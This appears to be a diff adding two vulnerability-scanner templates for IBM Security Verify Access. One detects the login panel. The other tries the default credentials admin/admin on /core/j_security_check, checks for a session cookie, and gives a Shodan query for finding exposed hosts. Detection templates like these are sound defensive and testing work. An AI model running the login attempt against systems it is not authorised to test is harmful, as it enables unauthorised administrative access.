IBM Security Verify Access

http/default-logins/ibm/ibm-security-verify-default-login.yaml

@@ -0,0 +1,45 @@
+id: ibm-security-verify-default-login
+
+info:
+  name: IBM Security Verify Access - Default Login
+  author: johnk3r
+  severity: high
+  description: |
+    IBM Security Verify Access default admin credentials were discovered. An unauthenticated, remote attacker can exploit this gain privileged or administrator access to the system.
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
+    cvss-score: 8.3
+    cwe-id: CWE-522
+  metadata:
+    verified: true
+    max-request: 2
+    shodan-query: title:"IBM Security Verify Access"
+  tags: ibm,default-login
+
+http:
+  - raw:
+      - |
+        GET / HTTP/1.1
+        Host: {{Hostname}}
+
+      - |
+        POST /core/j_security_check HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        j_username={{username}}&j_password={{password}}&commit=&locale=en&_method=PUT
+
+    attack: pitchfork
+    payloads:
+      username:
+        - admin
+      password:
+        - admin
+
+    matchers:
+      - type: dsl
+        dsl:
+          - "len(body) == 0"
+          - "status_code == 302"
+          - "contains(set_cookie, 'LtpaToken2')"
+        condition: and

http/exposed-panels/ibm/ibm-security-verify-panel.yaml

@@ -0,0 +1,33 @@
+id: ibm-security-verify-panel
+
+info:
+  name: IBM Security Verify Access Login - Panel
+  author: johnk3r
+  severity: info
+  description: |
+    IBM Security Verify Access login panel was detected.
+  reference:
+    - https://www.ibm.com/docs/en/sva/10.0.8?topic=overview-introduction-security-verify-access
+  metadata:
+    max-request: 1
+    vendor: ibm
+    shodan-query: http.title:"IBM Security Verify Access"
+  tags: panel,ibm,login,detect
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}"
+
+    host-redirects: true
+    max-redirects: 2
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - '<title>IBM Security Verify Access</title>'
+
+      - type: status
+        status:
+          - 200